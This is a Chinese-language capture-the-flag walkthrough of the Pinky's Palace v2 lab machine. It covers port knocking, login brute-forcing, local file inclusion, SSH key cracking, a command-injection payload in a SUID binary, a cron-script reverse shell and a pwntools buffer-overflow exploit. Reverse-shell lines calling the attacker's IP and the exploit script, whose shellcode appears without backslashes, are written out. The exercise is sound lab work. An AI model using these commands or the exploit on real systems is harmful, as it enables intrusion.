【Vulnhub通关】Pinky's Palace:v2

准备工作

靶机基本信息

靶机名称:Pinky's Palace v2
操作体系:Linux
网络衔接方式:桥接至物理网络
虚拟机软件:VMware Workstation
渗透测验方针:获取root权限并读取root.txt文件
下载地址:Pinky’s Palace: v2 ~ VulnHub

【Vulnhub通关】Pinky's Palace:v2

环境配置

  1. 解压压缩包,随后翻开VMware Workstation点击主页上的File => Open按钮,挑选Pinkys-Palace-Hard.ovf文件即可导入
  2. 执行指令echo 192.168.2.141 pinkydb | sudo tee -a /etc/hosts修改DNS缓存,使域名pinkydb指向靶机。

信息收集

IP地址发现

在Kali Linux中,咱们运用netdiscover东西发现靶机的IP地址:

 Currently scanning: Finished!   |   Screen View: Unique Hosts
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                                  
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.2.1     d4:b7:09:a1:c1:c4      1      60  zte corporation                                                                                
 192.168.2.101   0c:9d:92:10:4d:91      1      60  ASUSTek COMPUTER INC.                                                                          
 192.168.2.128   ac:e3:42:ae:bf:4a      1      60  HUAWEI TECHNOLOGIES CO.,LTD                                                                    
 192.168.2.141   00:0c:29:45:53:3c      1      60  VMware, Inc.                                                                                   
┌──(root㉿attacker)-[/home/hacker]
└─# 

能够看到MAC设备名为192.168.2.141的设备即为靶机,IP地址为192.168.2.141

ICMP勘探

知道靶机IP地址之后,咱们能够运用ping指令检测靶机网络连通性:

┌──(root㉿attacker)-[/home/hacker]
└─# ping -c 4 192.168.2.141
PING 192.168.2.141 (192.168.2.141) 56(84) bytes of data.
64 bytes from 192.168.2.141: icmp_seq=1 ttl=64 time=1.89 ms
64 bytes from 192.168.2.141: icmp_seq=2 ttl=64 time=0.903 ms
64 bytes from 192.168.2.141: icmp_seq=3 ttl=64 time=0.876 ms
64 bytes from 192.168.2.141: icmp_seq=4 ttl=64 time=0.913 ms
--- 192.168.2.141 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 0.876/1.145/1.890/0.430 ms

能够发现攻击机和靶机之间连通性杰出。

防火墙勘探

咱们能够运用Nmap发送TCP ACK恳求包,进行防火墙状况勘探。

┌──(root㉿attacker)-[/home/hacker]
└─# nmap -sA -p- 192.168.2.141   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-29 08:35 CST
Nmap scan report for 192.168.2.141 (192.168.2.141)
Host is up (0.00012s latency).
Not shown: 65532 unfiltered tcp ports (reset)
PORT      STATE    SERVICE
4655/tcp  filtered unknown
7654/tcp  filtered unknown
31337/tcp filtered Elite
MAC Address: 00:0C:29:45:53:3C (VMware)
Nmap done: 1 IP address (1 host up) scanned in 4.93 seconds

发现靶机可能存在防火墙,进行网络端口扫描。

网络端口扫描

咱们运用Nmap扫描靶机敞开端口、软件版别和操作体系版别

# TCP SYN扫描
nmap -sS -sV -O -p- -oN ./tcp_result.txt 192.168.2.141
# UDP扫描
nmap -sC -sU -sV -T4 -oN ./udp_result.txt 192.168.2.141

TCP扫描成果如下:

【Vulnhub通关】Pinky's Palace:v2

UDP扫描成果如下:

【Vulnhub通关】Pinky's Palace:v2

能够看到靶机敞开了如下端口:

端口 传输层协议 应用层协议 状况 详细信息

80

TCP

HTTP

open

Apache httpd 2.4.25 ((Debian))

4655

TCP

不知道

filtered

不知道

7654

TCP

不知道

filtered

不知道

31337

TCP

不知道

filtered

不知道

一起确认靶机操作体系为Debian Linux,内核版别大概为Linux 3.2 - 4.9


服务勘探

80端口(Web应用程序)

运用火狐浏览器翻开主页:http://pinkydb/,内容如下所示:

【Vulnhub通关】Pinky's Palace:v2

大概是运用WordPress搭建的一个个人博客,但搭建者只发了2篇帖子,都是没有任何价值的信息。检查网页源代码也没有发现有价值的信息。

翻开开发者东西,检查网络信息,在HTTP恳求头中发现了一个Restful API地址:

【Vulnhub通关】Pinky's Palace:v2

运用浏览器翻开该API接口http://pinkydb/index.php?rest_route=/):

【Vulnhub通关】Pinky's Palace:v2

该API有一个用户信息接口http://pinkydb/index.php?rest_route=/wp/v2/users,在该接口内发现一个WordPress用户pinky1337

【Vulnhub通关】Pinky's Palace:v2

下面咱们运用dirsearch扫描一下网站目录:

【Vulnhub通关】Pinky's Palace:v2

发现了一个关键目录/secret,浏览器检查:

【Vulnhub通关】Pinky's Palace:v2

发现里边有一个bambam.txt文件,内容如下:

8890
7000
666
pinkydb

结合网络端口扫描时发现的3个封闭端口,联想到了端口敲门服务。 测验运用knock pinkydb 8890 7000 666指令敲击靶机端口,但封闭的端口还是没有翻开,猜想是顺序不对,所以将3个端口进行排列组合,得到6种顺序

  • 8890 7000 666
  • 8890 666 7000
  • 7000 8890 666
  • 7000 666 8890
  • 666 7000 8890
  • 666 8890 7000

运用knock指令顺次依照上面的6种顺序顺次敲击靶机,并运用Nmap扫描靶机敞开端口。成果发现7000 666 8890为正确顺序

【Vulnhub通关】Pinky's Palace:v2

重新运用Nmap扫描3个端口:

nmap -sS -A -p 4655,7654,31337 192.168.2.141

【Vulnhub通关】Pinky's Palace:v2

发现4655/tcp端口运转SSH服务,7654/tcp端口运转Nginx HTTP服务,31337/tcp端口运转的服务不知道。

4655端口(SSH服务)

运用Netcat确认端口Banner信息:

┌──(root㉿attacker)-[/home/hacker]
└─# nc -nv 192.168.2.141 4655                   
(UNKNOWN) [192.168.2.141] 4655 (?) open
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u3

31337端口(不知道服务)

运用Netcat衔接31337端口,随后直接开端脸滚键盘(bushi

【Vulnhub通关】Pinky's Palace:v2

确认该服务的作用是和客户端翻开一个Socket衔接,并将客户端输入的字符直接回显出来。但在有一些特别字符的状况下会输出反常,置疑存在栈溢出缝隙。

7654端口(Web应用程序)

运用浏览器翻开链接:http://pinkydb:7654/,发现主页只有一个名为Login的超链接,点击之后进入登录框:

【Vulnhub通关】Pinky's Palace:v2

加引号测验SQL注入失利,先扫一下网站目录:

【Vulnhub通关】Pinky's Palace:v2

没有扫到高价值方针,准备爆炸登录框。


渗透测验

旁站登录框爆炸

首要,咱们运用cewl社会工程学爬虫东西来针对靶机Web服务生成专用字典

cewl http://pinkydb/ -w ./pass.txt

一起将前面收集到的用户名pinky1337追加至字典文件中:

echo "pinky1337" >> ./pass.txt

随后确认网站登录路由信息。在登录框中随意输入用户名和暗码,然后翻开BurpSuite署理,点击Login按钮发送恳求并截包,一起检查HTTP数据包:

【Vulnhub通关】Pinky's Palace:v2

发现POST恳求中的userpass参数传输登录信息,一起假如登录失利会回来Invalid Username or Password!信息。

所以Hydra的爆炸指令如下:

# -L 指定用户名字典
# -P 指定暗码字典
# -s 指定方针和协议类型
# -m 指定爆炸参数,前面为恳求页面,中间为POST参数(用户名和暗码用标记替代),后面为登录失利回来信息,用英文冒号分隔
hydra -L ./pass.txt -P ./pass.txt -s 7654 pinkydb http-post-form -m "/login.php:user=^USER^&pass=^PASS^:Invalid" 

成功爆炸出了1个登录信息:

  • 用户名:Pinky
  • 暗码:Passione
【Vulnhub通关】Pinky's Palace:v2

运用该凭证登录,发现登录后的/pageegap.php页面上有两条链接,一条指向一个文本文档,内容如下:

- Stefano
- Intern Web developer
- Created RSA key for security for him to login

而点击Stefano's RSA链接时会下载id_rsa文件。

好啊。。。很好啊。。

一起还发现/pageegap.php页面上GET参数1337的值为一个PHP文件的路径,猜想页面上有文件包括缝隙。

测验包括/etc/passwd文件:

【Vulnhub通关】Pinky's Palace:v2

文件包括缝隙一枚! 零分!下一位!

但美中不足的是,SSH私钥被加密了。。。。

【Vulnhub通关】Pinky's Palace:v2

所以直接运用john东西进行哈希碰撞,字典选用/usr/share/wordlists/rockyou.txt

# 将私钥转换为Hash
/usr/share/john/ssh2john.py id_rsa > ssh_keyhash
# 爆炸
john ./ssh_keyhash -w /usr/share/wordlists/rockyou.txt
【Vulnhub通关】Pinky's Palace:v2

成功发现暗码为secretz101,测验运用stefano用户登录:

【Vulnhub通关】Pinky's Palace:v2

成功!!

P.S. 这里因为网络环境变化,靶机IP变为192.168.129.9,攻击机变为192.168.129.193


权限提升

本地信息收集

成功进入体系之后,咱们首要上传LinPeas东西进行本地信息收集 (在攻击机运用Python的http模块发动服务器

wget http://192.168.129.193:8000/linpeas.sh

基本信息

【Vulnhub通关】Pinky's Palace:v2

体系用户列表

【Vulnhub通关】Pinky's Palace:v2

体系进程信息

【Vulnhub通关】Pinky's Palace:v2

计划任务信息

【Vulnhub通关】Pinky's Palace:v2

敞开端口列表

【Vulnhub通关】Pinky's Palace:v2

特别权限文件

【Vulnhub通关】Pinky's Palace:v2

能够看到在/home/stefano/目录下有一个名为qsub且带有SUID标识文件,所有者为pinky

SUID提权+ELF文件逆向

测验运用file指令检查该文件的类型:

stefano@Pinkys-Palace:~$ file ~/tools/qsub
/home/stefano/tools/qsub: setuid executable, regular file, no read permission

能够看到是一个可执行文件,但因为该文件的权限为741且所有者为www-data,咱们无法直接读取该文件进行逆向。

测验执行该文件:

stefano@Pinkys-Palace:~/tools$ ./qsub
./qsub <Message>
stefano@Pinkys-Palace:~/tools$ ./qsub aaa
[+] Input Password: bbb
[!] Incorrect Password!

能够看到该程序会接纳一个指令行参数,回车之后会提示输入暗码,但无法得知详细干了什么。

这时候咱们能够测验运用之前7654端口的文件包括缝隙来包括该文件,进而运用curl东西来下载二进制文件:

┌──(root㉿attacker)-[/home/hacker/Desktop]
└─# curl "http://pinkydb:7654/pageegap.php?1337=/home/stefano/tools/qsub" -o ./qsub
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 13384    0 13384    0     0  1761k      0 --:--:-- --:--:-- --:--:-- 2178k
┌──(root㉿attacker)-[/home/hacker/Desktop]
└─# file ./qsub
./qsub: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e35337e922a770c832f5e2b0a9afc5819887bd10, not stripped

随后直接扔进IDA里逆向剖析:

【Vulnhub通关】Pinky's Palace:v2

能够看到该程序首要界说了ss2两个字符串,然后将环境变量TERM的值作为暗码存储到字符串变量s2中,再把用户输入的暗码读入变量s中,随后判别其长度是否大于40,若大于40则退出,若小于40则将其和环境变量TERM的值比较,若不持平则退出。之后直接设置UIDGID,并将指令行参数作为send()函数的参数执行。 咱们来看send()函数的代码:

int __fastcall send(const char *a1)
{
  char *ptr; // [rsp+18h] [rbp-8h] BYREF
  asprintf(&ptr, "/bin/echo %s >> /home/pinky/messages/stefano_msg.txt", a1);
  return system(ptr);
}

能够看到这是一个执行指令的函数。指令为:/bin/echo [字符串a1的值] >> /home/pinky/messages/stefano_msg.txt,结合前面的内容可知,用户输入的指令行参数直接传递至了危险函数中,存在指令执行后门。

检查靶机环境变量TERM的值:

stefano@Pinkys-Palace:~/tools$ echo $TERM
xterm-256color

直接在指令行参数中拼接反弹Shell指令,收到反弹:

./qsub "a && nc -e /bin/bash 192.168.2.50 4444 && echo 1"

【Vulnhub通关】Pinky's Palace:v2

成功!

守时脚本提权

既然成功提权至pinky用户,那么就去该用户的家目录看看:

pinky@Pinkys-Palace:~/tools$ cd /home/pinky                  cd /home/pinky
cd /home/pinky
pinky@Pinkys-Palace:/home/pinky$ ls -lA                           ls -lA
ls -lA
total 20
-rw------- 1 pinky pinky   66 Mar 17  2018 .bash_history
-rw-r--r-- 1 pinky pinky  220 Mar 17  2018 .bash_logout
-rw-r--r-- 1 pinky pinky 3526 Mar 17  2018 .bashrc
drwxr-xr-x 2 pinky pinky 4096 Mar 17  2018 messages
-rw-r--r-- 1 pinky pinky  675 Mar 17  2018 .profile

发现message文件夹是之前qsub程序的文本输出目录,无灵敏信息。检查~/.bash_history文件:

pinky@Pinkys-Palace:/home/pinky$ cat ./.bash_history                 cat ./.bash_history
cat ./.bash_history
ls -al
cd
ls -al
cd /usr/local/bin
ls -al
vim backup.sh 
su demon

发现/usr/local/bin目录下有backup.sh文件。测验检查:

【Vulnhub通关】Pinky's Palace:v2

发现这是一个将网站目录进行打包的脚本,推测该脚本会定时执行,一起咱们现在拥有对其的读取、修改和执行权限。

直接运用echo将反弹Shell的指令写入到该脚本中:

echo "nc -e /bin/bash 192.168.2.50 5555" > backup.sh

成功接纳到反弹Shell:

【Vulnhub通关】Pinky's Palace:v2

root进程提权+ELF文件逆向

登录demon用户之后检查进程,有一项可疑信息引起了作者的注意:

【Vulnhub通关】Pinky's Palace:v2

进入/daemon目录,检查文件信息:

cd /daemon
ls -lA
file ./panel
./panel
【Vulnhub通关】Pinky's Palace:v2

能够看到该程序好像在测验绑定Socket

直接运用Python 3发动HTTP服务器,下载下来扔到IDA里逆向剖析:

【Vulnhub通关】Pinky's Palace:v2

发现该程序就是监听31337端口的程序。该程序首要设置了一些Socket参数,随后在衔接成功的状况下发送了咱们之前看到的字符串,随后调用了handlecmd()函数。

咱们持续看handlecmd()函数的代码:

ssize_t __fastcall handlecmd(const char *a1, int a2)
{
  size_t v2; // rax
  char dest[112]; // [rsp+10h] [rbp-70h] BYREF
  strcpy(dest, a1);
  v2 = strlen(dest);
  return send(a2, dest, v2, 0);
}

能够看到该函数接纳一个常量字符串指针a1和一个整数变量a2,首要在函数开始处界说了一个112位的字符串数组dest,随后不经考虑地将字符串一股脑仿制进dest数组中,最后调用send()函数将输入的字符串发送回去。整个进程如同行云流水般丝滑,但一点也没注意到仿制字符串的进程存在严峻的缓冲区溢出缝隙。

经过剖析之后,编写如下EXP:

#! /usr/bin/python3
from pwn import *
buf =  b""
buf += b"x48x31xc9x48x81xe9xf6xffxffxffx48x8d"
buf += b"x05xefxffxffxffx48xbbxd7xadx9fx64x85"
buf += b"xd5x1bxcax48x31x58x27x48x2dxf8xffxff"
buf += b"xffxe2xf4xbdx84xc7xfdxefxd7x44xa0xd6"
buf += b"xf3x90x61xcdx42x53x73xd5xadxb8x74x45"
buf += b"x7dx19xf8x86xe5x16x82xefxc5x41xa0xfd"
buf += b"xf5x90x61xefxd6x45x82x28x63xf5x45xdd"
buf += b"xdax1exbfx21xc7xa4x3cx1cx9dxa0xe5xb5"
buf += b"xc4xf1x4bxf6xbdx1bx99x9fx24x78x36xd2"
buf += b"x9dx92x2cxd8xa8x9fx64x85xd5x1bxcax90"
ret = p64(0x400cfb)
payload = buf + ret
print(payload)
r = remote("192.168.2.145", 31337)
r.recv()
r.send(payload)
print("ok")

成功收到反弹Shell!

【Vulnhub通关】Pinky's Palace:v2


Flag文件信息

文件名:root.txt
文件路径:/root/root.txt
文件大小:639 Bytes
MD5:0ca7a0711e00c4e34369f885b0e5b8f4
SHA256:6445efec222263733b331233a27293d3afbcedeaf2fd08053333f1e9343c0e61

文件内容截图:

【Vulnhub通关】Pinky's Palace:v2


本次靶机渗透到此结束